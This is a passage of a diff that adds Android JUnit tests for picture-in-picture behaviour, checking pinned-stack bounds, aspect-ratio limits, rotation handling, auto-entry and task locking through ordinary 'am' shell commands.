+    private static final String APP_OPS_OP_ENTER_PICTURE_IN_PICTURE = "PICTURE_IN_PICTURE";
+    private static final int APP_OPS_MODE_ALLOWED = 0;
+    private static final int APP_OPS_MODE_IGNORED = 1;
+    private static final int APP_OPS_MODE_ERRORED = 2;
+
+    private static final int ROTATION_0 = 0;
+    private static final int ROTATION_90 = 1;
+    private static final int ROTATION_180 = 2;
+    private static final int ROTATION_270 = 3;
+
+    // Corresponds to ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE
+    private static final int ORIENTATION_LANDSCAPE = 0;
+    // Corresponds to ActivityInfo.SCREEN_ORIENTATION_PORTRAIT
+    private static final int ORIENTATION_PORTRAIT = 1;
+
+    private static final float FLOAT_COMPARE_EPSILON = 0.005f;
+
+    // Corresponds to com.android.internal.R.dimen.config_pictureInPictureMinAspectRatio
+    private static final int MIN_ASPECT_RATIO_NUMERATOR = 100;
+    private static final int MIN_ASPECT_RATIO_DENOMINATOR = 239;
+    private static final int BELOW_MIN_ASPECT_RATIO_DENOMINATOR = MIN_ASPECT_RATIO_DENOMINATOR + 1;
+    // Corresponds to com.android.internal.R.dimen.config_pictureInPictureMaxAspectRatio
+    private static final int MAX_ASPECT_RATIO_NUMERATOR = 239;
+    private static final int MAX_ASPECT_RATIO_DENOMINATOR = 100;
+    private static final int ABOVE_MAX_ASPECT_RATIO_NUMERATOR = MAX_ASPECT_RATIO_NUMERATOR + 1;
+
+    @Test
+    public void testMinimumDeviceSize() throws Exception {
+        if (!supportsPip()) return;
+
+        mAmWmState.assertDeviceDefaultDisplaySize(
+                "Devices supporting picture-in-picture must be larger than the default minimum"
+                        + " task size");
+    }
+
+    @Presubmit
+    @Test
+    public void testEnterPictureInPictureMode() throws Exception {
+        pinnedStackTester(getAmStartCmd(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true"),
+                PIP_ACTIVITY, PIP_ACTIVITY, false /* moveTopToPinnedStack */,
+                false /* isFocusable */);
+    }
+
+    @Presubmit
+    @Test
+    public void testMoveTopActivityToPinnedStack() throws Exception {
+        pinnedStackTester(getAmStartCmd(PIP_ACTIVITY), PIP_ACTIVITY, PIP_ACTIVITY,
+                true /* moveTopToPinnedStack */, false /* isFocusable */);
+    }
+
+    @Test
+    public void testAlwaysFocusablePipActivity() throws Exception {
+        pinnedStackTester(getAmStartCmd(ALWAYS_FOCUSABLE_PIP_ACTIVITY),
+                ALWAYS_FOCUSABLE_PIP_ACTIVITY, ALWAYS_FOCUSABLE_PIP_ACTIVITY,
+                false /* moveTopToPinnedStack */, true /* isFocusable */);
+    }
+
+    @Presubmit
+    @Test
+    public void testLaunchIntoPinnedStack() throws Exception {
+        pinnedStackTester(getAmStartCmd(LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY),
+                LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY, ALWAYS_FOCUSABLE_PIP_ACTIVITY,
+                false /* moveTopToPinnedStack */, true /* isFocusable */);
+    }
+
+    @Test
+    public void testNonTappablePipActivity() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch the tap-to-finish activity at a specific place
+        launchActivity(PIP_ACTIVITY,
+                EXTRA_ENTER_PIP, "true",
+                EXTRA_TAP_TO_FINISH, "true");
+        mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+        assertPinnedStackExists();
+
+        // Tap the screen at a known location in the pinned stack bounds, and ensure that it is
+        // not passed down to the top task
+        tapToFinishPip();
+        mAmWmState.computeState(false /* compareTaskAndStackBounds */,
+                new WaitForValidActivityState.Builder(PIP_ACTIVITY).build());
+        mAmWmState.assertVisibility(PIP_ACTIVITY, true);
+    }
+
+    @Test
+    public void testPinnedStackDefaultBounds() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch a PIP activity
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+
+        setDeviceRotation(ROTATION_0);
+        WindowManagerState wmState = mAmWmState.getWmState();
+        wmState.computeState();
+        Rect defaultPipBounds = wmState.getDefaultPinnedStackBounds();
+        Rect stableBounds = wmState.getStableBounds();
+        assertTrue(defaultPipBounds.width() > 0 && defaultPipBounds.height() > 0);
+        assertTrue(stableBounds.contains(defaultPipBounds));
+
+        setDeviceRotation(ROTATION_90);
+        wmState = mAmWmState.getWmState();
+        wmState.computeState();
+        defaultPipBounds = wmState.getDefaultPinnedStackBounds();
+        stableBounds = wmState.getStableBounds();
+        assertTrue(defaultPipBounds.width() > 0 && defaultPipBounds.height() > 0);
+        assertTrue(stableBounds.contains(defaultPipBounds));
+        setDeviceRotation(ROTATION_0);
+    }
+
+    @Test
+    public void testPinnedStackMovementBounds() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch a PIP activity
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+
+        setDeviceRotation(ROTATION_0);
+        WindowManagerState wmState = mAmWmState.getWmState();
+        wmState.computeState();
+        Rect pipMovementBounds = wmState.getPinnedStackMomentBounds();
+        Rect stableBounds = wmState.getStableBounds();
+        assertTrue(pipMovementBounds.width() > 0 && pipMovementBounds.height() > 0);
+        assertTrue(stableBounds.contains(pipMovementBounds));
+
+        setDeviceRotation(ROTATION_90);
+        wmState = mAmWmState.getWmState();
+        wmState.computeState();
+        pipMovementBounds = wmState.getPinnedStackMomentBounds();
+        stableBounds = wmState.getStableBounds();
+        assertTrue(pipMovementBounds.width() > 0 && pipMovementBounds.height() > 0);
+        assertTrue(stableBounds.contains(pipMovementBounds));
+        setDeviceRotation(ROTATION_0);
+    }
+
+    @Test
+    public void testPinnedStackOutOfBoundsInsetsNonNegative() throws Exception {
+        if (!supportsPip()) return;
+
+        final WindowManagerState wmState = mAmWmState.getWmState();
+
+        // Launch an activity into the pinned stack
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true", EXTRA_TAP_TO_FINISH, "true");
+        mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+
+        // Get the display dimensions
+        WindowManagerState.WindowState windowState = getWindowState(PIP_ACTIVITY);
+        WindowManagerState.Display display = wmState.getDisplay(windowState.getDisplayId());
+        Rect displayRect = display.getDisplayRect();
+
+        // Move the pinned stack offscreen
+        String moveStackOffscreenCommand = String.format("am stack resize 4 %d %d %d %d",
+                displayRect.width() - 200, 0, displayRect.width() + 200, 500);
+        executeShellCommand(moveStackOffscreenCommand);
+
+        // Ensure that the surface insets are not negative
+        windowState = getWindowState(PIP_ACTIVITY);
+        Rect contentInsets = windowState.getContentInsets();
+        if (contentInsets != null) {
+            assertTrue(contentInsets.left >= 0 && contentInsets.top >= 0
+                    && contentInsets.width() >= 0 && contentInsets.height() >= 0);
+        }
+    }
+
+    @Test
+    public void testPinnedStackInBoundsAfterRotation() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch an activity into the pinned stack
+        launchActivity(PIP_ACTIVITY,
+                EXTRA_ENTER_PIP, "true",
+                EXTRA_TAP_TO_FINISH, "true");
+        mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+
+        // Ensure that the PIP stack is fully visible in each orientation
+        setDeviceRotation(ROTATION_0);
+        assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
+        setDeviceRotation(ROTATION_90);
+        assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
+        setDeviceRotation(ROTATION_180);
+        assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
+        setDeviceRotation(ROTATION_270);
+        assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
+        setDeviceRotation(ROTATION_0);
+    }
+
+    @Test
+    public void testEnterPipToOtherOrientation() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch a portrait only app on the fullscreen stack
+        launchActivity(TEST_ACTIVITY,
+                EXTRA_FIXED_ORIENTATION, String.valueOf(ORIENTATION_PORTRAIT));
+        // Launch the PiP activity fixed as landscape
+        launchActivity(PIP_ACTIVITY,
+                EXTRA_FIXED_ORIENTATION, String.valueOf(ORIENTATION_LANDSCAPE));
+        // Enter PiP, and assert that the PiP is within bounds now that the device is back in
+        // portrait
+        executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
+        mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+        assertPinnedStackExists();
+        assertPinnedStackActivityIsInDisplayBounds(PIP_ACTIVITY);
+    }
+
+    @Test
+    public void testEnterPipAspectRatioMin() throws Exception {
+        testEnterPipAspectRatio(MIN_ASPECT_RATIO_NUMERATOR, MIN_ASPECT_RATIO_DENOMINATOR);
+    }
+
+    @Test
+    public void testEnterPipAspectRatioMax() throws Exception {
+        testEnterPipAspectRatio(MAX_ASPECT_RATIO_NUMERATOR, MAX_ASPECT_RATIO_DENOMINATOR);
+    }
+
+    private void testEnterPipAspectRatio(int num, int denom) throws Exception {
+        if (!supportsPip()) return;
+
+        launchActivity(PIP_ACTIVITY,
+                EXTRA_ENTER_PIP, "true",
+                EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR, Integer.toString(num),
+                EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom));
+        assertPinnedStackExists();
+
+        // Assert that we have entered PIP and that the aspect ratio is correct
+        Rect pinnedStackBounds = mAmWmState.getAmState().getStandardStackByWindowingMode(
+                WINDOWING_MODE_PINNED).getBounds();
+        assertFloatEquals((float) pinnedStackBounds.width() / pinnedStackBounds.height(),
+                (float) num / denom);
+    }
+
+    @Test
+    public void testResizePipAspectRatioMin() throws Exception {
+        testResizePipAspectRatio(MIN_ASPECT_RATIO_NUMERATOR, MIN_ASPECT_RATIO_DENOMINATOR);
+    }
+
+    @Test
+    public void testResizePipAspectRatioMax() throws Exception {
+        testResizePipAspectRatio(MAX_ASPECT_RATIO_NUMERATOR, MAX_ASPECT_RATIO_DENOMINATOR);
+    }
+
+    private void testResizePipAspectRatio(int num, int denom) throws Exception {
+        if (!supportsPip()) return;
+
+        launchActivity(PIP_ACTIVITY,
+                EXTRA_ENTER_PIP, "true",
+                EXTRA_SET_ASPECT_RATIO_NUMERATOR, Integer.toString(num),
+                EXTRA_SET_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom));
+        assertPinnedStackExists();
+        waitForValidAspectRatio(num, denom);
+        Rect bounds = mAmWmState.getAmState().getStandardStackByWindowingMode(
+                WINDOWING_MODE_PINNED).getBounds();
+        assertFloatEquals((float) bounds.width() / bounds.height(), (float) num / denom);
+    }
+
+    @Test
+    public void testEnterPipExtremeAspectRatioMin() throws Exception {
+        testEnterPipExtremeAspectRatio(MIN_ASPECT_RATIO_NUMERATOR,
+                BELOW_MIN_ASPECT_RATIO_DENOMINATOR);
+    }
+
+    @Test
+    public void testEnterPipExtremeAspectRatioMax() throws Exception {
+        testEnterPipExtremeAspectRatio(ABOVE_MAX_ASPECT_RATIO_NUMERATOR,
+                MAX_ASPECT_RATIO_DENOMINATOR);
+    }
+
+    private void testEnterPipExtremeAspectRatio(int num, int denom) throws Exception {
+        if (!supportsPip()) return;
+
+        // Assert that we could not create a pinned stack with an extreme aspect ratio
+        launchActivity(PIP_ACTIVITY,
+                EXTRA_ENTER_PIP, "true",
+                EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR, Integer.toString(num),
+                EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom));
+        assertPinnedStackDoesNotExist();
+    }
+
+    @Test
+    public void testSetPipExtremeAspectRatioMin() throws Exception {
+        testSetPipExtremeAspectRatio(MIN_ASPECT_RATIO_NUMERATOR,
+                BELOW_MIN_ASPECT_RATIO_DENOMINATOR);
+    }
+
+    @Test
+    public void testSetPipExtremeAspectRatioMax() throws Exception {
+        testSetPipExtremeAspectRatio(ABOVE_MAX_ASPECT_RATIO_NUMERATOR,
+                MAX_ASPECT_RATIO_DENOMINATOR);
+    }
+
+    private void testSetPipExtremeAspectRatio(int num, int denom) throws Exception {
+        if (!supportsPip()) return;
+
+        // Try to resize the a normal pinned stack to an extreme aspect ratio and ensure that
+        // fails (the aspect ratio remains the same)
+        launchActivity(PIP_ACTIVITY,
+                EXTRA_ENTER_PIP, "true",
+                EXTRA_ENTER_PIP_ASPECT_RATIO_NUMERATOR,
+                        Integer.toString(MAX_ASPECT_RATIO_NUMERATOR),
+                EXTRA_ENTER_PIP_ASPECT_RATIO_DENOMINATOR,
+                        Integer.toString(MAX_ASPECT_RATIO_DENOMINATOR),
+                EXTRA_SET_ASPECT_RATIO_NUMERATOR, Integer.toString(num),
+                EXTRA_SET_ASPECT_RATIO_DENOMINATOR, Integer.toString(denom));
+        assertPinnedStackExists();
+        Rect pinnedStackBounds = mAmWmState.getAmState().getStandardStackByWindowingMode(
+                WINDOWING_MODE_PINNED).getBounds();
+        assertFloatEquals((float) pinnedStackBounds.width() / pinnedStackBounds.height(),
+                (float) MAX_ASPECT_RATIO_NUMERATOR / MAX_ASPECT_RATIO_DENOMINATOR);
+    }
+
+    @Test
+    public void testDisallowPipLaunchFromStoppedActivity() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch the bottom pip activity
+        launchActivity(PIP_ON_STOP_ACTIVITY);
+        mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+
+        // Wait for the bottom pip activity to be stopped
+        mAmWmState.waitForActivityState(PIP_ON_STOP_ACTIVITY, STATE_STOPPED);
+
+        // Assert that there is no pinned stack (that enterPictureInPicture() failed)
+        assertPinnedStackDoesNotExist();
+    }
+
+    @Test
+    public void testAutoEnterPictureInPicture() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch a test activity so that we're not over home
+        launchActivity(TEST_ACTIVITY);
+
+        // Launch the PIP activity on pause
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP_ON_PAUSE, "true");
+        assertPinnedStackDoesNotExist();
+
+        // Go home and ensure that there is a pinned stack
+        launchHomeActivity();
+        assertPinnedStackExists();
+    }
+
+    @Test
+    public void testAutoEnterPictureInPictureLaunchActivity() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch a test activity so that we're not over home
+        launchActivity(TEST_ACTIVITY);
+
+        // Launch the PIP activity on pause, and have it start another activity on
+        // top of itself.  Wait for the new activity to be visible and ensure that the pinned stack
+        // was not created in the process
+        launchActivity(PIP_ACTIVITY,
+                EXTRA_ENTER_PIP_ON_PAUSE, "true",
+                EXTRA_START_ACTIVITY, getActivityComponentName(NON_RESIZEABLE_ACTIVITY));
+        mAmWmState.computeState(false /* compareTaskAndStackBounds */,
+                new WaitForValidActivityState.Builder(NON_RESIZEABLE_ACTIVITY).build());
+        assertPinnedStackDoesNotExist();
+
+        // Go home while the pip activity is open and ensure the previous activity is not PIPed
+        launchHomeActivity();
+        assertPinnedStackDoesNotExist();
+    }
+
+    @Test
+    public void testAutoEnterPictureInPictureFinish() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch a test activity so that we're not over home
+        launchActivity(TEST_ACTIVITY);
+
+        // Launch the PIP activity on pause, and set it to finish itself after
+        // some period.  Wait for the previous activity to be visible, and ensure that the pinned
+        // stack was not created in the process
+        launchActivity(PIP_ACTIVITY,
+                EXTRA_ENTER_PIP_ON_PAUSE, "true",
+                EXTRA_FINISH_SELF_ON_RESUME, "true");
+        assertPinnedStackDoesNotExist();
+    }
+
+    @Test
+    public void testAutoEnterPictureInPictureAspectRatio() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch the PIP activity on pause, and set the aspect ratio
+        launchActivity(PIP_ACTIVITY,
+                EXTRA_ENTER_PIP_ON_PAUSE, "true",
+                EXTRA_SET_ASPECT_RATIO_NUMERATOR, Integer.toString(MAX_ASPECT_RATIO_NUMERATOR),
+                EXTRA_SET_ASPECT_RATIO_DENOMINATOR, Integer.toString(MAX_ASPECT_RATIO_DENOMINATOR));
+
+        // Go home while the pip activity is open to trigger auto-PIP
+        launchHomeActivity();
+        assertPinnedStackExists();
+
+        waitForValidAspectRatio(MAX_ASPECT_RATIO_NUMERATOR, MAX_ASPECT_RATIO_DENOMINATOR);
+        Rect bounds = mAmWmState.getAmState().getStandardStackByWindowingMode(
+                WINDOWING_MODE_PINNED).getBounds();
+        assertFloatEquals((float) bounds.width() / bounds.height(),
+                (float) MAX_ASPECT_RATIO_NUMERATOR / MAX_ASPECT_RATIO_DENOMINATOR);
+    }
+
+    @Test
+    public void testAutoEnterPictureInPictureOverPip() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch another PIP activity
+        launchActivity(LAUNCH_INTO_PINNED_STACK_PIP_ACTIVITY);
+        mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+        assertPinnedStackExists();
+
+        // Launch the PIP activity on pause
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP_ON_PAUSE, "true");
+
+        // Go home while the PIP activity is open to trigger auto-enter PIP
+        launchHomeActivity();
+        assertPinnedStackExists();
+
+        // Ensure that auto-enter pip failed and that the resumed activity in the pinned stack is
+        // still the first activity
+        final ActivityStack pinnedStack =
+                mAmWmState.getAmState().getStandardStackByWindowingMode(WINDOWING_MODE_PINNED);
+        assertTrue(pinnedStack.getTasks().size() == 1);
+        assertTrue(pinnedStack.getTasks().get(0).mRealActivity.equals(getActivityComponentName(
+                ALWAYS_FOCUSABLE_PIP_ACTIVITY)));
+    }
+
+    @Presubmit
+    @Test
+    public void testDisallowMultipleTasksInPinnedStack() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch a test activity so that we have multiple fullscreen tasks
+        launchActivity(TEST_ACTIVITY);
+
+        // Launch first PIP activity
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+
+        // Launch second PIP activity
+        launchActivity(PIP_ACTIVITY2, EXTRA_ENTER_PIP, "true");
+
+        final ActivityStack pinnedStack =
+                mAmWmState.getAmState().getStandardStackByWindowingMode(WINDOWING_MODE_PINNED);
+        assertEquals(1, pinnedStack.getTasks().size());
+
+        assertTrue(pinnedStack.getTasks().get(0).mRealActivity.equals(getActivityComponentName(
+                PIP_ACTIVITY2)));
+
+        assertTrue(mAmWmState.getAmState().containsActivityInWindowingMode(
+                PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN));
+    }
+
+    @Test
+    public void testPipUnPipOverHome() throws Exception {
+        if (!supportsPip()) return;
+
+        // Go home
+        launchHomeActivity();
+        // Launch an auto pip activity
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true", EXTRA_REENTER_PIP_ON_EXIT, "true");
+        assertPinnedStackExists();
+
+        // Relaunch the activity to fullscreen to trigger the activity to exit and re-enter pip
+        launchActivity(PIP_ACTIVITY);
+        mAmWmState.waitForWithAmState((amState) -> {
+            return amState.getFrontStackWindowingMode(DEFAULT_DISPLAY_ID)
+                    == WINDOWING_MODE_FULLSCREEN;
+        }, "Waiting for PIP to exit to fullscreen");
+        mAmWmState.waitForWithAmState((amState) -> {
+            return amState.getFrontStackWindowingMode(DEFAULT_DISPLAY_ID) == WINDOWING_MODE_PINNED;
+        }, "Waiting to re-enter PIP");
+        mAmWmState.assertHomeActivityVisible(true);
+    }
+
+    @Test
+    public void testPipUnPipOverApp() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch a test activity so that we're not over home
+        launchActivity(TEST_ACTIVITY);
+
+        // Launch an auto pip activity
+        launchActivity(PIP_ACTIVITY,
+                EXTRA_ENTER_PIP, "true",
+                EXTRA_REENTER_PIP_ON_EXIT, "true");
+        assertPinnedStackExists();
+
+        // Relaunch the activity to fullscreen to trigger the activity to exit and re-enter pip
+        launchActivity(PIP_ACTIVITY);
+        mAmWmState.waitForWithAmState((amState) -> {
+            return amState.getFrontStackWindowingMode(DEFAULT_DISPLAY_ID)
+                    == WINDOWING_MODE_FULLSCREEN;
+        }, "Waiting for PIP to exit to fullscreen");
+        mAmWmState.waitForWithAmState((amState) -> {
+            return amState.getFrontStackWindowingMode(DEFAULT_DISPLAY_ID) == WINDOWING_MODE_PINNED;
+        }, "Waiting to re-enter PIP");
+        mAmWmState.assertVisibility(TEST_ACTIVITY, true);
+    }
+
+    @Presubmit
+    @Test
+    public void testRemovePipWithNoFullscreenStack() throws Exception {
+        if (!supportsPip()) return;
+
+        // Start with a clean slate, remove all the stacks but home
+        removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
+
+        // Launch a pip activity
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        assertPinnedStackExists();
+
+        // Remove the stack and ensure that the task is now in the fullscreen stack (when no
+        // fullscreen stack existed before)
+        removeStacksInWindowingModes(WINDOWING_MODE_PINNED);
+        assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY,
+                WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
+    }
+
+    @Presubmit
+    @Test
+    public void testRemovePipWithVisibleFullscreenStack() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch a fullscreen activity, and a pip activity over that
+        launchActivity(TEST_ACTIVITY);
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        assertPinnedStackExists();
+
+        // Remove the stack and ensure that the task is placed in the fullscreen stack, behind the
+        // top fullscreen activity
+        removeStacksInWindowingModes(WINDOWING_MODE_PINNED);
+        assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY,
+                WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
+    }
+
+    @Presubmit
+    @Test
+    public void testRemovePipWithHiddenFullscreenStack() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch a fullscreen activity, return home and while the fullscreen stack is hidden,
+        // launch a pip activity over home
+        launchActivity(TEST_ACTIVITY);
+        launchHomeActivity();
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        assertPinnedStackExists();
+
+        // Remove the stack and ensure that the task is placed on top of the hidden fullscreen
+        // stack, but that the home stack is still focused
+        removeStacksInWindowingModes(WINDOWING_MODE_PINNED);
+        assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY,
+                WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
+    }
+
+    @Test
+    public void testMovePipToBackWithNoFullscreenStack() throws Exception {
+        if (!supportsPip()) return;
+
+        // Start with a clean slate, remove all the stacks but home
+        removeStacksWithActivityTypes(ALL_ACTIVITY_TYPE_BUT_HOME);
+
+        // Launch a pip activity
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        assertPinnedStackExists();
+
+        // Remove the stack and ensure that the task is now in the fullscreen stack (when no
+        // fullscreen stack existed before)
+        executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_MOVE_TO_BACK);
+        assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY,
+                WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
+    }
+
+    @Presubmit
+    @Test
+    public void testMovePipToBackWithVisibleFullscreenStack() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch a fullscreen activity, and a pip activity over that
+        launchActivity(TEST_ACTIVITY);
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        assertPinnedStackExists();
+
+        // Remove the stack and ensure that the task is placed in the fullscreen stack, behind the
+        // top fullscreen activity
+        executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_MOVE_TO_BACK);
+        assertPinnedStackStateOnMoveToFullscreen(PIP_ACTIVITY,
+                WINDOWING_MODE_FULLSCREEN, ACTIVITY_TYPE_STANDARD);
+    }
+
+    @Presubmit
+    @Test
+    public void testMovePipToBackWithHiddenFullscreenStack() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch a fullscreen activity, return home and while the fullscreen stack is hidden,
+        // launch a pip activity over home
+        launchActivity(TEST_ACTIVITY);
+        launchHomeActivity();
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        assertPinnedStackExists();
+
+        // Remove the stack and ensure that the task is placed on top of the hidden fullscreen
+        // stack, but that the home stack is still focused
+        executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_MOVE_TO_BACK);
+        assertPinnedStackStateOnMoveToFullscreen(
+                PIP_ACTIVITY, WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_HOME);
+    }
+
+    @Test
+    public void testPinnedStackAlwaysOnTop() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch activity into pinned stack and assert it's on top.
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        assertPinnedStackExists();
+        assertPinnedStackIsOnTop();
+
+        // Launch another activity in fullscreen stack and check that pinned stack is still on top.
+        launchActivity(TEST_ACTIVITY);
+        assertPinnedStackExists();
+        assertPinnedStackIsOnTop();
+
+        // Launch home and check that pinned stack is still on top.
+        launchHomeActivity();
+        assertPinnedStackExists();
+        assertPinnedStackIsOnTop();
+    }
+
+    @Test
+    public void testAppOpsDenyPipOnPause() throws Exception {
+        if (!supportsPip()) return;
+
+        // Disable enter-pip and try to enter pip
+        setAppOpsOpToMode(ActivityManagerTestBase.componentName,
+                APP_OPS_OP_ENTER_PICTURE_IN_PICTURE, APP_OPS_MODE_IGNORED);
+
+        // Launch the PIP activity on pause
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
+        assertPinnedStackDoesNotExist();
+
+        // Go home and ensure that there is no pinned stack
+        launchHomeActivity();
+        assertPinnedStackDoesNotExist();
+
+        // Re-enable enter-pip-on-hide
+        setAppOpsOpToMode(ActivityManagerTestBase.componentName,
+                APP_OPS_OP_ENTER_PICTURE_IN_PICTURE, APP_OPS_MODE_ALLOWED);
+    }
+
+    @Test
+    public void testEnterPipFromTaskWithMultipleActivities() throws Exception {
+        if (!supportsPip()) return;
+
+        // Try to enter picture-in-picture from an activity that has more than one activity in the
+        // task and ensure that it works
+        launchActivity(LAUNCH_ENTER_PIP_ACTIVITY);
+        mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+        assertPinnedStackExists();
+    }
+
+    @Test
+    public void testEnterPipWithResumeWhilePausingActivityNoStop() throws Exception {
+        if (!supportsPip()) return;
+
+        /*
+         * Launch the resumeWhilePausing activity and ensure that the PiP activity did not get
+         * stopped and actually went into the pinned stack.
+         *
+         * Note that this is a workaround because to trigger the path that we want to happen in
+         * activity manager, we need to add the leaving activity to the stopping state, which only
+         * happens when a hidden stack is brought forward. Normally, this happens when you go home,
+         * but since we can't launch into the home stack directly, we have a workaround.
+         *
+         * 1) Launch an activity in a new dynamic stack
+         * 2) Resize the dynamic stack to non-fullscreen bounds
+         * 3) Start the PiP activity that will enter picture-in-picture when paused in the
+         *    fullscreen stack
+         * 4) Bring the activity in the dynamic stack forward to trigger PiP
+         */
+        int stackId = launchActivityInNewDynamicStack(RESUME_WHILE_PAUSING_ACTIVITY);
+        resizeStack(stackId, 0, 0, 500, 500);
+        // Launch an activity that will enter PiP when it is paused with a delay that is long enough
+        // for the next resumeWhilePausing activity to finish resuming, but slow enough to not
+        // trigger the current system pause timeout (currently 500ms)
+        launchActivity(PIP_ACTIVITY, WINDOWING_MODE_FULLSCREEN,
+                EXTRA_ENTER_PIP_ON_PAUSE, "true",
+                EXTRA_ON_PAUSE_DELAY, "350",
+                EXTRA_ASSERT_NO_ON_STOP_BEFORE_PIP, "true");
+        launchActivity(RESUME_WHILE_PAUSING_ACTIVITY);
+        assertPinnedStackExists();
+    }
+
+    @Test
+    public void testDisallowEnterPipActivityLocked() throws Exception {
+        if (!supportsPip()) return;
+
+        launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP_ON_PAUSE, "true");
+        ActivityTask task = mAmWmState.getAmState().getStandardStackByWindowingMode(
+                WINDOWING_MODE_FULLSCREEN).getTopTask();
+
+        // Lock the task and ensure that we can't enter picture-in-picture both explicitly and
+        // when paused
+        executeShellCommand("am task lock " + task.mTaskId);
+        executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
+        mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+        assertPinnedStackDoesNotExist();
+        launchHomeActivity();
+        assertPinnedStackDoesNotExist();
+        executeShellCommand("am task lock stop");
+    }
+
+    @Presubmit
+    @Test
+    public void testConfigurationChangeOrderDuringTransition() throws Exception {
+        if (!supportsPip()) return;
+
+        // Launch a PiP activity and ensure configuration change only happened once, and that the
+        // configuration change happened after the picture-in-picture and multi-window callbacks
+        launchActivity(PIP_ACTIVITY);
+        String logSeparator = clearLogcat();
+        executeShellCommand("am broadcast -a " + PIP_ACTIVITY_ACTION_ENTER_PIP);
+        mAmWmState.waitForValidState(PIP_ACTIVITY, WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
+        assertPinnedStackExists();
+        waitForValidPictureInPictureCallbacks(PIP_ACTIVITY, logSeparator);
+        assertValidPictureInPictureCallbackOrder(PIP_ACTIVITY, logSeparator);
+
+        // Trigger it to go back to fullscreen and ensure that only triggered one configuration
+        // change as well
+        logSeparator = clearLogcat();
+        launchActivity(PIP_ACTIVITY);
+        waitForValidPictureInPictureCallbacks(PIP_ACTIVITY, logSeparator);
+        assertValidPictureInPictureCallbackOrder(PIP_ACTIVITY, logSeparator);
+    }
+
+    @Test
